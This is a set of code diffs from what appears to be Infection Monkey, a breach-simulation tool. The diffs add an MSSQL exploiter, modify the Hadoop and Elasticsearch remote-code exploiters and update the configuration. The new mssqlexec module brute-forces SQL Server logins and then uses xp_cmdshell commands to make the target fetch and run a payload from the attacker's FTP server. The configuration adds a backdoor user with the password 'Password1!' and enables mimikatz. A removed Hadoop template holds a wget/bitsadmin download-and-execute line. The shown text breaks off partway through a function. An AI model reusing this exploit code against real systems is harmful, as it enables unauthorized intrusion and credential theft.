||||||
|
|
||||||
|
|
|
@ -5,9 +5,12 @@ from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
import ipaddress
|
import ipaddress
|
||||||
from six import text_type
|
from six import text_type
|
||||||
|
import logging
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class NetworkRange(object):
|
class NetworkRange(object):
|
||||||
__metaclass__ = ABCMeta
|
__metaclass__ = ABCMeta
|
||||||
|
@ -47,12 +50,23 @@ class NetworkRange(object):
|
||||||
address_str = address_str.strip()
|
address_str = address_str.strip()
|
||||||
if not address_str: # Empty string
|
if not address_str: # Empty string
|
||||||
return None
|
return None
|
||||||
if -1 != address_str.find('-'):
|
if NetworkRange.check_if_range(address_str):
|
||||||
return IpRange(ip_range=address_str)
|
return IpRange(ip_range=address_str)
|
||||||
if -1 != address_str.find('/'):
|
if -1 != address_str.find('/'):
|
||||||
return CidrRange(cidr_range=address_str)
|
return CidrRange(cidr_range=address_str)
|
||||||
return SingleIpRange(ip_address=address_str)
|
return SingleIpRange(ip_address=address_str)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_if_range(address_str):
|
||||||
|
if -1 != address_str.find('-'):
|
||||||
|
ips = address_str.split('-')
|
||||||
|
try:
|
||||||
|
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
|
||||||
|
except ValueError as e:
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _ip_to_number(address):
|
def _ip_to_number(address):
|
||||||
return struct.unpack(">L", socket.inet_aton(address))[0]
|
return struct.unpack(">L", socket.inet_aton(address))[0]
|
||||||
|
@ -111,13 +125,58 @@ class IpRange(NetworkRange):
|
||||||
class SingleIpRange(NetworkRange):
|
class SingleIpRange(NetworkRange):
|
||||||
def __init__(self, ip_address, shuffle=True):
|
def __init__(self, ip_address, shuffle=True):
|
||||||
super(SingleIpRange, self).__init__(shuffle=shuffle)
|
super(SingleIpRange, self).__init__(shuffle=shuffle)
|
||||||
self._ip_address = ip_address
|
self._ip_address, self.domain_name = self.string_to_host(ip_address)
|
||||||
|
|
||||||
def __repr__(self):
|
def __repr__(self):
|
||||||
return "<SingleIpRange %s>" % (self._ip_address,)
|
return "<SingleIpRange %s>" % (self._ip_address,)
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
"""
|
||||||
|
We have to check if we have an IP to return, because user could have entered invalid
|
||||||
|
domain name and no IP was found
|
||||||
|
:return: IP if there is one
|
||||||
|
"""
|
||||||
|
if self.ip_found():
|
||||||
|
yield self._number_to_ip(self.get_range()[0])
|
||||||
|
|
||||||
def is_in_range(self, ip_address):
|
def is_in_range(self, ip_address):
|
||||||
return self._ip_address == ip_address
|
return self._ip_address == ip_address
|
||||||
|
|
||||||
def _get_range(self):
|
def _get_range(self):
|
||||||
return [SingleIpRange._ip_to_number(self._ip_address)]
|
return [SingleIpRange._ip_to_number(self._ip_address)]
|
||||||
|
|
||||||
|
def ip_found(self):
|
||||||
|
"""
|
||||||
|
Checks if we could translate domain name entered into IP address
|
||||||
|
:return: True if dns found domain name and false otherwise
|
||||||
|
"""
|
||||||
|
return self._ip_address
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def string_to_host(string):
|
||||||
|
"""
|
||||||
|
Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip
|
||||||
|
:param string: String that was entered in "Scan IP/subnet list"
|
||||||
|
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
|
||||||
|
"""
|
||||||
|
# The most common use case is to enter ip/range into "Scan IP/subnet list"
|
||||||
|
domain_name = ''
|
||||||
|
|
||||||
|
# Make sure to have unicode string
|
||||||
|
user_input = string.decode('utf-8', 'ignore')
|
||||||
|
|
||||||
|
# Try casting user's input as IP
|
||||||
|
try:
|
||||||
|
ip = ipaddress.ip_address(user_input).exploded
|
||||||
|
except ValueError:
|
||||||
|
# Exception means that it's a domain name
|
||||||
|
try:
|
||||||
|
ip = socket.gethostbyname(string)
|
||||||
|
domain_name = string
|
||||||
|
except socket.error:
|
||||||
|
LOG.error("Your specified host: {} is not found as a domain name and"
|
||||||
|
" it's not an IP address".format(string))
|
||||||
|
return None, string
|
||||||
|
# If a string was entered instead of IP we presume that it was domain name and translate it
|
||||||
|
return ip, domain_name
|
||||||
|
|
||||||
|
|
|
@ -1,2 +1,2 @@
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
pyinstaller --clean monkey-linux.spec
|
pyinstaller -F --log-level=DEBUG --clean monkey.spec
|
||||||
|
|
|
@ -7,8 +7,6 @@ from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
import importlib
|
import importlib
|
||||||
|
|
||||||
importlib.import_module('infection_monkey', 'network')
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
GUID = str(uuid.getnode())
|
GUID = str(uuid.getnode())
|
||||||
|
@ -22,6 +20,7 @@ class Configuration(object):
|
||||||
# now we won't work at <2.7 for sure
|
# now we won't work at <2.7 for sure
|
||||||
network_import = importlib.import_module('infection_monkey.network')
|
network_import = importlib.import_module('infection_monkey.network')
|
||||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||||
|
post_breach_import = importlib.import_module('infection_monkey.post_breach')
|
||||||
|
|
||||||
unknown_items = []
|
unknown_items = []
|
||||||
for key, value in formatted_data.items():
|
for key, value in formatted_data.items():
|
||||||
|
@ -35,12 +34,12 @@ class Configuration(object):
|
||||||
if key == 'finger_classes':
|
if key == 'finger_classes':
|
||||||
class_objects = [getattr(network_import, val) for val in value]
|
class_objects = [getattr(network_import, val) for val in value]
|
||||||
setattr(self, key, class_objects)
|
setattr(self, key, class_objects)
|
||||||
elif key == 'scanner_class':
|
|
||||||
scanner_object = getattr(network_import, value)
|
|
||||||
setattr(self, key, scanner_object)
|
|
||||||
elif key == 'exploiter_classes':
|
elif key == 'exploiter_classes':
|
||||||
class_objects = [getattr(exploit_import, val) for val in value]
|
class_objects = [getattr(exploit_import, val) for val in value]
|
||||||
setattr(self, key, class_objects)
|
setattr(self, key, class_objects)
|
||||||
|
elif key == 'post_breach_actions':
|
||||||
|
class_objects = [getattr(post_breach_import, val) for val in value]
|
||||||
|
setattr(self, key, class_objects)
|
||||||
else:
|
else:
|
||||||
if hasattr(self, key):
|
if hasattr(self, key):
|
||||||
setattr(self, key, value)
|
setattr(self, key, value)
|
||||||
|
@ -133,7 +132,6 @@ class Configuration(object):
|
||||||
# how many scan iterations to perform on each run
|
# how many scan iterations to perform on each run
|
||||||
max_iterations = 1
|
max_iterations = 1
|
||||||
|
|
||||||
scanner_class = None
|
|
||||||
finger_classes = []
|
finger_classes = []
|
||||||
exploiter_classes = []
|
exploiter_classes = []
|
||||||
|
|
||||||
|
@ -193,7 +191,7 @@ class Configuration(object):
|
||||||
9200]
|
9200]
|
||||||
tcp_target_ports.extend(HTTP_PORTS)
|
tcp_target_ports.extend(HTTP_PORTS)
|
||||||
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
tcp_scan_timeout = 3000 # 3000 Milliseconds
|
||||||
tcp_scan_interval = 200
|
tcp_scan_interval = 0
|
||||||
tcp_scan_get_banner = True
|
tcp_scan_get_banner = True
|
||||||
|
|
||||||
# Ping Scanner
|
# Ping Scanner
|
||||||
|
@ -206,8 +204,8 @@ class Configuration(object):
|
||||||
skip_exploit_if_file_exist = False
|
skip_exploit_if_file_exist = False
|
||||||
|
|
||||||
ms08_067_exploit_attempts = 5
|
ms08_067_exploit_attempts = 5
|
||||||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
user_to_add = "Monkey_IUSER_SUPPORT"
|
||||||
ms08_067_remote_user_pass = "Password1!"
|
remote_user_pass = "Password1!"
|
||||||
|
|
||||||
# rdp exploiter
|
# rdp exploiter
|
||||||
rdp_use_vbs_download = True
|
rdp_use_vbs_download = True
|
||||||
|
@ -268,5 +266,7 @@ class Configuration(object):
|
||||||
|
|
||||||
extract_azure_creds = True
|
extract_azure_creds = True
|
||||||
|
|
||||||
|
post_breach_actions = []
|
||||||
|
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -16,6 +16,7 @@
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
"extract_azure_creds": true,
|
"extract_azure_creds": true,
|
||||||
|
"should_use_mimikatz": true,
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
|
|
||||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||||
|
@ -40,7 +41,8 @@
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter"
|
"HadoopExploiter",
|
||||||
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
@ -56,14 +58,13 @@
|
||||||
"monkey_log_path_linux": "/tmp/user-1563",
|
"monkey_log_path_linux": "/tmp/user-1563",
|
||||||
"send_log_to_server": true,
|
"send_log_to_server": true,
|
||||||
"ms08_067_exploit_attempts": 5,
|
"ms08_067_exploit_attempts": 5,
|
||||||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||||
"ms08_067_remote_user_pass": "Password1!",
|
"remote_user_pass": "Password1!",
|
||||||
"ping_scan_timeout": 10000,
|
"ping_scan_timeout": 10000,
|
||||||
"rdp_use_vbs_download": true,
|
"rdp_use_vbs_download": true,
|
||||||
"smb_download_timeout": 300,
|
"smb_download_timeout": 300,
|
||||||
"smb_service_name": "InfectionMonkey",
|
"smb_service_name": "InfectionMonkey",
|
||||||
"retry_failed_explotation": true,
|
"retry_failed_explotation": true,
|
||||||
"scanner_class": "TcpScanner",
|
|
||||||
"self_delete_in_cleanup": true,
|
"self_delete_in_cleanup": true,
|
||||||
"serialize_config": false,
|
"serialize_config": false,
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
|
@ -78,7 +79,7 @@
|
||||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 200,
|
"tcp_scan_interval": 0,
|
||||||
"tcp_scan_timeout": 10000,
|
"tcp_scan_timeout": 10000,
|
||||||
"tcp_target_ports": [
|
"tcp_target_ports": [
|
||||||
22,
|
22,
|
||||||
|
@ -96,5 +97,6 @@
|
||||||
"timeout_between_iterations": 10,
|
"timeout_between_iterations": 10,
|
||||||
"use_file_logging": true,
|
"use_file_logging": true,
|
||||||
"victims_max_exploit": 7,
|
"victims_max_exploit": 7,
|
||||||
"victims_max_find": 30
|
"victims_max_find": 30,
|
||||||
|
"post_breach_actions" : []
|
||||||
}
|
}
|
||||||
|
|
|
@ -45,3 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
|
||||||
from infection_monkey.exploit.struts2 import Struts2Exploiter
|
from infection_monkey.exploit.struts2 import Struts2Exploiter
|
||||||
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
||||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
|
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||||
|
|
|
@ -8,7 +8,7 @@ import json
|
||||||
import logging
|
import logging
|
||||||
import requests
|
import requests
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
|
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
|
||||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||||
exploit_config['dropper'] = True
|
exploit_config['dropper'] = True
|
||||||
exploit_config['url_extensions'] = ['_search?pretty']
|
exploit_config['url_extensions'] = ['_search?pretty']
|
||||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
|
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
|
||||||
return exploit_config
|
return exploit_config
|
||||||
|
|
||||||
def get_open_service_ports(self, port_list, names):
|
def get_open_service_ports(self, port_list, names):
|
||||||
|
@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
|
||||||
except (KeyError, IndexError):
|
except (KeyError, IndexError):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
def check_if_exploitable(self, url):
|
||||||
|
# Overridden web_rce method that adds CMD prefix for windows command
|
||||||
|
try:
|
||||||
|
if 'windows' in self.host.os['type']:
|
||||||
|
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
|
||||||
|
else:
|
||||||
|
resp = self.exploit(url, CHECK_COMMAND)
|
||||||
|
if resp is True:
|
||||||
|
return True
|
||||||
|
elif resp is not False and ID_STRING in resp:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error("Host's exploitability check failed due to: %s" % e)
|
||||||
|
return False
|
|
@ -12,7 +12,7 @@ import posixpath
|
||||||
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
from infection_monkey.model import MONKEY_ARG, ID_STRING
|
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
@ -22,16 +22,6 @@ LOG = logging.getLogger(__name__)
|
||||||
class HadoopExploiter(WebRCE):
|
class HadoopExploiter(WebRCE):
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
HADOOP_PORTS = [["8088", False]]
|
HADOOP_PORTS = [["8088", False]]
|
||||||
|
|
||||||
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
|
|
||||||
# to download monkey at the same time
|
|
||||||
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
|
|
||||||
"&& wget -O %(monkey_path)s %(http_path)s " \
|
|
||||||
"; chmod +x %(monkey_path)s " \
|
|
||||||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
|
||||||
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
|
|
||||||
" Update /download /priority high %(http_path)s %(monkey_path)s " \
|
|
||||||
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
|
||||||
# How long we have our http server open for downloads in seconds
|
# How long we have our http server open for downloads in seconds
|
||||||
DOWNLOAD_TIMEOUT = 60
|
DOWNLOAD_TIMEOUT = 60
|
||||||
# Random string's length that's used for creating unique app name
|
# Random string's length that's used for creating unique app name
|
||||||
|
@ -46,6 +36,9 @@ class HadoopExploiter(WebRCE):
|
||||||
self.add_vulnerable_urls(urls, True)
|
self.add_vulnerable_urls(urls, True)
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return False
|
return False
|
||||||
|
# We presume hadoop works only on 64-bit machines
|
||||||
|
if self.host.os['type'] == 'windows':
|
||||||
|
self.host.os['machine'] = '64'
|
||||||
paths = self.get_monkey_paths()
|
paths = self.get_monkey_paths()
|
||||||
if not paths:
|
if not paths:
|
||||||
return False
|
return False
|
||||||
|
@ -79,9 +72,9 @@ class HadoopExploiter(WebRCE):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
base_command = self.LINUX_COMMAND
|
base_command = HADOOP_LINUX_COMMAND
|
||||||
else:
|
else:
|
||||||
base_command = self.WINDOWS_COMMAND
|
base_command = HADOOP_WINDOWS_COMMAND
|
||||||
|
|
||||||
return base_command % {"monkey_path": path, "http_path": http_path,
|
return base_command % {"monkey_path": path, "http_path": http_path,
|
||||||
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
||||||
|
|
|
@ -0,0 +1,127 @@
|
||||||
|
import os
|
||||||
|
import platform
|
||||||
|
from os import path
|
||||||
|
import logging
|
||||||
|
|
||||||
|
import pymssql
|
||||||
|
|
||||||
|
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
|
||||||
|
|
||||||
|
__author__ = 'Maor Rayzin'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
|
_TARGET_OS_TYPE = ['windows']
|
||||||
|
LOGIN_TIMEOUT = 15
|
||||||
|
SQL_DEFAULT_TCP_PORT = '1433'
|
||||||
|
DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat'
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(MSSQLExploiter, self).__init__(host)
|
||||||
|
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
||||||
|
|
||||||
|
def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH):
|
||||||
|
"""
|
||||||
|
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
||||||
|
:param payload_path: A path to the create the payload file in
|
||||||
|
:return: True if the payload file was created and false otherwise.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
with open(payload_path, 'w+') as payload_file:
|
||||||
|
payload_file.write('dir C:\\')
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error("Payload file couldn't be created", exc_info=True)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
"""
|
||||||
|
Main function of the mssql brute force
|
||||||
|
Return:
|
||||||
|
True or False depends on process success
|
||||||
|
"""
|
||||||
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
|
if not self.create_payload_file():
|
||||||
|
return False
|
||||||
|
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
||||||
|
self.DEFAULT_PAYLOAD_PATH):
|
||||||
|
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||||
|
return False
|
||||||
|
|
||||||
|
def handle_payload(self, cursor, payload):
|
||||||
|
|
||||||
|
"""
|
||||||
|
Handles the process of payload sending and execution, prepares the attack and details.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
||||||
|
payload (string): Payload path
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True or False depends on process success
|
||||||
|
"""
|
||||||
|
|
||||||
|
chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr)
|
||||||
|
|
||||||
|
if chosen_attack.send_payload():
|
||||||
|
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
||||||
|
if chosen_attack.execute_payload():
|
||||||
|
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
||||||
|
chosen_attack.cleanup_files()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
||||||
|
else:
|
||||||
|
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
||||||
|
|
||||||
|
chosen_attack.cleanup_files()
|
||||||
|
return False
|
||||||
|
|
||||||
|
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
||||||
|
"""
|
||||||
|
Starts the brute force connection attempts and if needed then init the payload process.
|
||||||
|
Main loop starts here.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host (str): Host ip address
|
||||||
|
port (str): Tcp port that the host listens to
|
||||||
|
payload (str): Local path to the payload
|
||||||
|
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
||||||
|
"""
|
||||||
|
# Main loop
|
||||||
|
# Iterates on users list
|
||||||
|
for user, password in users_passwords_pairs_list:
|
||||||
|
try:
|
||||||
|
# Core steps
|
||||||
|
# Trying to connect
|
||||||
|
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
|
||||||
|
LOG.info('Successfully connected to host: {0}, '
|
||||||
|
'using user: {1}, password: {2}'.format(host, user, password))
|
||||||
|
self.report_login_attempt(True, user, password)
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
# Handles the payload and return True or False
|
||||||
|
if self.handle_payload(cursor, payload):
|
||||||
|
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.warning("user: {0} and password: {1}, "
|
||||||
|
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
||||||
|
.format(user, password, host, payload))
|
||||||
|
except pymssql.OperationalError:
|
||||||
|
# Combo didn't work, hopping to the next one
|
||||||
|
pass
|
||||||
|
|
||||||
|
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
||||||
|
'aborting brute force'.format(host, port))
|
||||||
|
return False
|
|
@ -0,0 +1,214 @@
|
||||||
|
import os
|
||||||
|
import multiprocessing
|
||||||
|
import logging
|
||||||
|
|
||||||
|
import pymssql
|
||||||
|
|
||||||
|
from infection_monkey.exploit.tools import get_interface_to_target
|
||||||
|
from pyftpdlib.authorizers import DummyAuthorizer
|
||||||
|
from pyftpdlib.handlers import FTPHandler
|
||||||
|
from pyftpdlib.servers import FTPServer
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'Maor Rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
FTP_SERVER_PORT = 1026
|
||||||
|
FTP_SERVER_ADDRESS = ''
|
||||||
|
FTP_SERVER_USER = 'brute'
|
||||||
|
FTP_SERVER_PASSWORD = 'force'
|
||||||
|
FTP_WORKING_DIR = '.'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class FTP(object):
|
||||||
|
|
||||||
|
"""Configures and establish an FTP server with default details.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
user (str): User for FTP server auth
|
||||||
|
password (str): Password for FTP server auth
|
||||||
|
working_dir (str): The local working dir to init the ftp server on.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||||
|
working_dir=FTP_WORKING_DIR):
|
||||||
|
"""Look at class level docstring."""
|
||||||
|
|
||||||
|
self.user = user
|
||||||
|
self.password = password
|
||||||
|
self.working_dir = working_dir
|
||||||
|
|
||||||
|
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
|
||||||
|
working_dir=FTP_WORKING_DIR):
|
||||||
|
|
||||||
|
""" Configures and runs the ftp server to listen forever until stopped.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
user (str): User for FTP server auth
|
||||||
|
password (str): Password for FTP server auth
|
||||||
|
working_dir (str): The local working dir to init the ftp server on.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Defining an authorizer and configuring the ftp user
|
||||||
|
authorizer = DummyAuthorizer()
|
||||||
|
authorizer.add_user(user, password, working_dir, perm='elradfmw')
|
||||||
|
|
||||||
|
# Normal ftp handler
|
||||||
|
handler = FTPHandler
|
||||||
|
handler.authorizer = authorizer
|
||||||
|
|
||||||
|
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
|
||||||
|
|
||||||
|
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
|
||||||
|
self.server = FTPServer(address, handler)
|
||||||
|
|
||||||
|
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
|
||||||
|
# multiproccess is being used here.
|
||||||
|
self.server.serve_forever()
|
||||||
|
|
||||||
|
def stop_server(self):
|
||||||
|
# Stops the FTP server and closing all connections.
|
||||||
|
self.server.close_all()
|
||||||
|
|
||||||
|
|
||||||
|
class AttackHost(object):
|
||||||
|
"""
|
||||||
|
This class acts as an interface for the attacking methods class
|
||||||
|
|
||||||
|
Args:
|
||||||
|
payload_path (str): The local path of the payload file
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, payload_path):
|
||||||
|
self.payload_path = payload_path
|
||||||
|
|
||||||
|
def send_payload(self):
|
||||||
|
raise NotImplementedError("Send function not implemented")
|
||||||
|
|
||||||
|
def execute_payload(self):
|
||||||
|
raise NotImplementedError("execute function not implemented")
|
||||||
|
|
||||||
|
|
||||||
|
class CmdShellAttack(AttackHost):
|
||||||
|
|
||||||
|
"""
|
||||||
|
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
payload_path (str): The local path of the payload file
|
||||||
|
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, payload_path, cursor, dst_ip_address):
|
||||||
|
super(CmdShellAttack, self).__init__(payload_path)
|
||||||
|
self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
|
||||||
|
self.cursor = cursor
|
||||||
|
self.attacker_ip = get_interface_to_target(dst_ip_address)
|
||||||
|
|
||||||
|
def send_payload(self):
|
||||||
|
"""
|
||||||
|
Sets up an FTP server and using it to download the payload to the remote host
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True if payload sent False if not.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Sets up the cmds to run
|
||||||
|
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
|
||||||
|
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
|
||||||
|
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
|
||||||
|
|
||||||
|
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
|
||||||
|
.format(self.payload_path)
|
||||||
|
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
|
||||||
|
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
|
||||||
|
|
||||||
|
# Checking to see if ftp server is up
|
||||||
|
if self.ftp_server_p and self.ftp_server:
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Running the cmd on remote host
|
||||||
|
for cmd in shellcmds:
|
||||||
|
self.cursor.execute(cmd)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
||||||
|
self.ftp_server_p.terminate()
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
LOG.error("Couldn't establish an FTP server for the dropout")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def execute_payload(self):
|
||||||
|
|
||||||
|
"""
|
||||||
|
Executes the payload after ftp drop
|
||||||
|
|
||||||
|
Return:
|
||||||
|
True if payload was executed successfully, False if not.
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Getting the payload's file name
|
||||||
|
payload_file_name = os.path.split(self.payload_path)[1]
|
||||||
|
|
||||||
|
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
|
||||||
|
shellcmd = """DECLARE @i INT \
|
||||||
|
